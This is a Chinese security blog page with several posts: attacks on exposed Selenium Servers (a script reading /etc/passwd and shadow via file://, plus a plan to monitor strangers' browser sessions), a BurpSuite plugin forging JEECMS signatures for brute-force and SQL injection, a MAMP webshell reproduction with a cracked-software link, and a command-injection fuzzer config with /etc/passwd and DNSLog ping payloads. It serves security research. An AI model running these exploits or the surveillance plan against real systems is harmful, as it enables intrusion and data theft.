cf_hb 发布的文章

谈谈Selenium Server的安全问题 - 未完

0x01 开篇

不知道大家在平日工作中有没有遇到过一些端口,使用浏览器打开是下面这样子的:

201803041520131466539800.png

上图中我找了几个在不同端口下的例子。

0x02 Selenium-开源的自动化测试利器

本篇主要的主角-Selenium究竟是什么呢?有过QA经验或安全自动化测试经验的朋友应该知道,以下文字来自百度百科:Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。

官网地址:https://www.seleniumhq.org/

Github地址:https://github.com/SeleniumHQ/selenium/wiki/Grid2

Selenium支持本地和远程浏览器的自动化测试,在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer,它会负责远程浏览器的启用和你的自动化脚本的执行。

官方给出的启用该SeleniumServer的命令:

java -jar selenium-server-standalone-<version>.jar -role node  -hub http://localhost:4444/grid/register

那么脚本远程调用可以如下:

//第一个参数:表示服务器的地址。第二个参数:表示预期的执行对象,其他的浏览器都可以以此类推
WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome());

路径/wd/hub/我是怎么知道的?

  1. 点开console,自动跳转知道的。
  2. 百度selenium remote 知道的
  3. 查看源码发现是默认的- 源码

通过阅读源码能发现默认的端口为4444,如下图所示:

201803051520263000170174.png

下面是一个Python写的远程调用的Demo:

201803041520134142491036.png

0x03 Selenium-server分析

为了方便我们分析,我在Mac下启用一个Sever, 服务端就是一个独立端JAR文件,下载地址:点击下载

可以直接这样启用:

201803041520137267231202.png

浏览器访问,打开console看看,如下图:

201803041520137304734235.png

201803041520139782900165.gif

Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话,该控制台可以新创建会话,可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。

观察加载Console页面时,加载了一个叫client.js的文件,从这个文件中可以找到一些有用的调用接口,比如我的地址:http://127.0.0.1:4444/wd/hub/ ,当前的SessionId为,179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下:

GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub
URL ==> 对应函数
/sessions ==> getSessions 获取当前所有打开浏览器的Session信息
/status ==> getStatus 获取当前Server状态 
/session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl  获取当前浏览器打开的URL
/session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText  获取弹窗内容
/session/179220de83fee4d6090502b003b692a0/source ==> getPageSource  获取网页源码
/session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot   网页快照,返回Base64图片
/session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies  获取当前页面Cookie

上面的只是举例说明,完整的接口定义可以去GitHub上看WIKI说明,地址:https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol

现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作,下面看看我们就一起研究下能怎么玩?

0x04 构想和实施你的玩法

问题:

在敌人后方,你拿到了一个完全可控的浏览器后,你能做些什么?

针对这种,下面是暂时想到的玩法。

实施对敌方远程浏览器自动化作业的监控(偷视)

利用上面学习的知识,我们通过接口:

http://127.0.0.1:4444/wd/hub/sessions

发现存在着有效的Session正在作业如图:

201803041520146295646570.png

那么我们可以通过自己编写脚本,调用API接口,实时获取该浏览器的信息。如:

比如下面展示的,某一个浏览器正在进行重置密码的-自动化操作,我们可以通过API接口实时拿到该浏览器当前的URL地址。(很关键拿到这个URL就可以为所欲为了。。。)

201803041520146861917279.png

201803041520147053363582.png

当然这个返回的是页面截图的Base64,转化一下如下:

201803041520147160885551.png

如果只是简单的URL监控,思路利用BurpSuite就可以实现,这里我实验了一下,如图:

201803041520147482205223.png

利用这类思路,我们可以自己编写脚本利用其提供的API接口,对网络空间里的这类Selenium Server的行为进行24h的实时监控、记录其xx行为。

以此为跳板,对内网实施攻击

利用Selenium Server对特点,创建或者可控一个正在作业的远程浏览器,向内网发起攻击。

说到利用跳板发起内网攻击,可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞,这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器,能够下发任意的JS代码,控制浏览器访问任意的URL这简直不能再爽!--- 还在实践ing

file协议任意文件读取

我们知道浏览器支持使用file协议读取本地系统的文件,哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件,甚至是重要的shadow等口令文件

在测试实践中,我找了几台靶机尝试读取系统/etc/passwd文件,发现甚至有的可以读取shadow文件。准备测试脚本很简单,几行代码比如:

def test_readfile(driver_url = '', filename=''):
    driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub',
                              desired_capabilities=DesiredCapabilities.CHROME)
    driver.get("file://%s" % filename)
    print driver.page_source

    driver.quit()

然后结果就是这样的:

201803041520169754704399.png

甚至读取到了shadow

201803041520172210136585.png

当然最简单的方式是直接在Console里直接操作,步骤:Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot你就能看到了。下面是测试的截图

201803041520169348222300.png

看到这里,是不是震惊了?赶紧回去问问你们的研发,你们的QA,有没有用到它,小心菊花不保!!

远程挖矿

近两年来很流行的浏览器挖矿,从去年6月后吧,利用浏览器进行虚拟货币挖矿的事件越来越多来,网站代码中暗藏JS挖矿机脚本

挖矿脚本上GitHub一搜索就能找到很多,Github搜索地址 这里就不做过多测试了,不玩这个!

0x05 网络空间调查

使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索,看看网络空间里有多少Selenium Server以及分布情况。

  • Zoomeye

搜索地址:搜索链接

搜索结果如下图:

201803051520229306291405.png

搜索发现在Zoomeye引擎中记录,在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。

  • FOFA引擎

搜索地址:搜索链接

使用FOFA引擎,匿名用户 normal模式进行搜索,获得了1.3k左右的记录

搜索结果:

201803051520230301290760.png

  • Shodan引擎

搜索地址:搜索链接

在SHODAN引擎中关键字搜索,仅44条记录。

搜索结果:

201803051520230575847986.png

SHODAN引擎主要采集基础组件端口信息,采集网页信息较少,所以用网页关键字:SeleniumHQ 搜索的结果较少,但是我们如果搜索Selenium Server 所使用的组件 Jetty,就会发现搜索结果比较多了,如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。

搜索地址:搜索链接

搜索结果:

201803051520230961203412.png

0x06 进一步研究方向

能想到的可行的研究方向:

  • 网络空间的基于Selenium的自动化攻击监控

从网络空间搜索引擎里采集Selenium Server服务端IP,实时采集并记录其远程浏览器的自动化行为。

  • 主动探测网络空间里部署Selenium Server服务器分布

使用探测工具主动探测存在于网络空间的Selenium Server分布情况,记录和观测这些探测得到的IP,这些IP都有自动化攻击,薅羊毛的潜在可能。

个人博客:http://www.coffeehb.cn

BurpSuite插件:JEECMS签名助手

题外话

18年想提高一下自己的代码审计能力,重点放在Java系和Python系。Java是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。

起因&签名分析

写这个插件的原因是在测试JEECMS后台时,用BurpSuite修改了一个参数的,在返回结果中看到提示了签名错误,如下图:

201801191516329998864170.png

很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。

先修改参数:

20180119110514151633111462067.png

通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。

20180119110527151633112751998.png

签名计算方式:

20180119112150151633211025608.png

现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:

20180119112842151633252277458.png

我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。

20180119113410151633285095854.png

官方Demo站:

20180119113402151633284224809.png

签名插件编写

我们知道了签名校验方式和过程了,现在就知道怎么写这个BurpSuite插件了。

  1. 将请求参数拦截下来
  2. 将参数+appKey进行拼接并做MD5计算
  3. 用新的hash替换参数sign的值
  4. BurpSuite发出请求,成功返回

编写BurpSuite插件Python版本代码如下:

from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
import hashlib
import urllib

print "Hack Jeecms Sign By Nerd."

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):

        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Hack JeeCMS Sign")
        callbacks.registerHttpListener(self)
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stderr = PrintWriter(callbacks.getStderr(), True)
        callbacks.issueAlert("Loaded Successfull.")

    def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
        if messageIsRequest:

            requestInfo = self._helpers.analyzeRequest(currentRequest)

            self.headers = list(requestInfo.getHeaders())
            hook_host = requestInfo.getUrl().getHost()

            bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
            self.body = self._helpers.bytesToString(bodyBytes)

            o,n = self.update_sign(urllib.unquote(self.body))
            self.body = self.body.replace(o,n)
            print self.body
            newMessage = self._helpers.buildHttpMessage(self.headers, self.body)
            currentRequest.setRequest(newMessage)

        # Process responses
        else:
            pass

    def update_sign(slef, body=""):
        try:
            old_sign = ""
            # defalut appKey
            appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"
            #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"

            hash_param = ""
            param_list = body.split("&")

            temp_dict = {}
            for pa in param_list:
                t = pa.split("=")
                temp_dict[t[0]] = t[1]

            tmmmm = temp_dict.items()

            tmmmm.sort()
            for (k, v) in tmmmm:
                if k == "sign":
                    old_sign = v
                    print "old sign = ",v
                    continue
                hash_param += "%s=%s&" % (k, v)

            hash_param += "key=" + appKey
            sign = hashlib.md5(hash_param).hexdigest()
            print "new sign = ",sign.upper()
            return old_sign,sign.upper()
        except Exception, e:
            print e
            return "",""

效果

模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误

201801191516339127197513.png

加载插件以后:

201801191516339413839646.png

加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。

代码GitHub地址

HackSign.py

MAMP远程代码执行漏洞

前言

MAMP 是一个集PHP,MYSQL,Apache等一体化PHP Web应用程序开发套件,今日国外研究者发现MAMP的默认的安装配置中存在远程代码执行漏洞。本文记录复现过程。

原文:Drive-by remote code execution by MAMP

环境配置

安装MAMP

  • 下载MAMP后开始安装

a6cc4662d0ba196f5413a113e1e2875a.png

  • 然后初始化时,会提示是否安装phpMyAdmin,我用不上那个没有勾选。

启动MAMP

  • 安装后不做任何修改,默认配置下启动MAMP服务

828caeccd80fde53b94eb046792b398b.png

漏洞复现

打开sqlitemanager地址:http://localhost:8888/sqlitemanager/

9375ab9b41b9312a3f1a8cc32c7fe7ca.png

利用目录跳转漏洞,漏洞位置:

0044945becdede38fb0ed450b7e1035a.png

这里没有校验写入位置和写入文件格式,可以利用…/…/在任意目录下创建你想要的文件。于是,在根路径下创建一个名为threathunter.php的数据库文件

d41f1fd545386d0ff7168f910e526a29.png

创建成功:

924f4f4883922c7b790aff105f391c16.png

下面就是常规套路,将一句话写入数据库中了。先创建一个表poc:

5f329c5e8c0dfe0385e55e6c6d4ed87b.png

指定字段名:

af9ceb2e292d7bc7d63e0633573c7e63.png

98ff56e92b681d90d974ae76d967ed2b.png

点击上面的Insert插入一条记录:

d4980a91b86bc807c6772cf0dd8c1749.png

然后保存,现在可以访问:http://localhost:8888/threathunter.php进行验证了:

597938d854d2885b7d85cc3d6eb7fb3d.png

提供一下我用的这个破解版的MAMP下载地址:

https://pan.baidu.com/s/1kU5yElp 密码: 2mnx 安装密码:macpeers

网上查了下,发现这个组件在2013年就爆出的这个漏洞。 SQLiteManager 0Day Remote PHP Code Injection Vulnerability

查看了下该组件项目最近一次更新居然远在2010年,最新版本即为1.2.4(全版本都存在那个0day),官方应该是废弃这个项目了!

acebe3db745e4961430bdfdaf8a98ab9.png

修改建议

  • 删除默认集成的老旧的sqlitemanager,默认在目录:/Applications/MAMP/bin/SQLiteManager删掉即可。

一个半自动化命令注入漏洞Fuzz工具

1. OCIFT是什么

一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT

2. OCIFT有什么用

这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。

OCIFT有什么特点

  • Payload基于Commix生成方式修改而来(需要持续完善).
  • 基于浏览器代理的半自动化Fuzz.
  • 多线程Fuzz速度快,不影响正常浏览器访问使用.
  • 支持设置白名单限制Fuzz范围.
  • 支持设置黑名单避免带来不必要的麻烦.
  • 支持DNSLog辅助验证

4. 实现思路

基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。

文件结构说明
         |____run.py 主程序入口
         |____dnslog.py DNSLog SDK
         |____fuzz.conf 配置文件
         |____fuzz.py Fuzz线程
         |____make_payload.py Payload生成器
         |____readme.md 说明文档

5.配置文件说明

  • 配置各个参数,以逗号分隔

    [initconfig]

  • 黑名单HOST-为了避免带来不必要的麻烦

    black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com

  • 静态文件黑名单-这些不做Fuzz

    url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg

  • 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz.

    white_site =qunar

  • 请求超时-限制每次Fuzz请求超时时间

    timeout =10

  • 我的DnsLog地址

    my_cloudeye =ano1qu2j.xfkxfk.com

  • 判断是够注入命令执行成功的关键字

    checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP

  • 用于测试命令注入的基本命令

    base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul

  • Fuzz线程数

    fuzz_count =20

  • fuzz的payload类型, 默认False-表示使用自定义的规则

    commix_payload_type = False

  • DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com

    dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1

  • Your Domain

    custom_domain =a2fta2j

  • 记录成功结果的Log文件

    Logfile =rce_success_results.txt

6.如何使用

1.安装模块

pip install tornado pip install requests

2.根据自己需要完成文件fuzz.conf的配置

3.启用主程序

python run.py 8089 如下图:

687474703a2f2f7777772e636f6666656568622e636e2f7a625f75736572732f75706c6f61642f323031372f30342f32303137303430393030333434313134393136363932383136393639342e6a7067.jpg

4.设置浏览器代理 然后会自动开始Fuzz

687474703a2f2f7777772e636f6666656568622e636e2f7a625f75736572732f75706c6f61642f323031372f30342f32303137303430393030333332343134393136363932303432313932372e6a7067.jpg

7.总结

  • 基本实现了想要的半自动化Fuzz功能
  • payload还需要不断优化

Github地址:https://github.com/coffeehb/OCIFT

利用Scapy造一个Passive DNS Collector 工具:Pdns_sniff

pdns_sniff是什么?

简单理解为一个记录你发起过的DNS请求的东西,利用了Passive DNS 思路,被动的记录发起过的DNS请求。

pdns_sniff有什么用?

利用这样的工具可以帮助我在愉快的上网的同时,轻松搜集到测试目标的各种子域名。

pdns_sniff原理是什么?

利用了python里的强大的scapy套件,运用它抓取,解析出DNS请求包从而得到各种域名。使用了mysql进行数据存储,利用了gevent协程进行并发进行数据包的分析和写入数据库(PS:刚学gevent,拿来用用。)

效果图

效果图一:数据库中记录1

20170205223502148630530254796.png

效果图二:数据库中记录2

20170205223524148630532412525.png

效果图三:工具输出记录

20170205223538148630533859265.png

效果图四:使用方法

20170205223434148630527450376.jpeg

需要安装的三方库

  • gevent
  • scapy
  • MySQLdb

需要修改的数据库配置

大概在第29行

conn = mysql.connect(user='root', passwd='yourpassword', host='127.0.0.1', db='dnslogsDB')

pdns_sniff的相关代码

https://github.com/coffeehb/tools/tree/master/pdns_sniff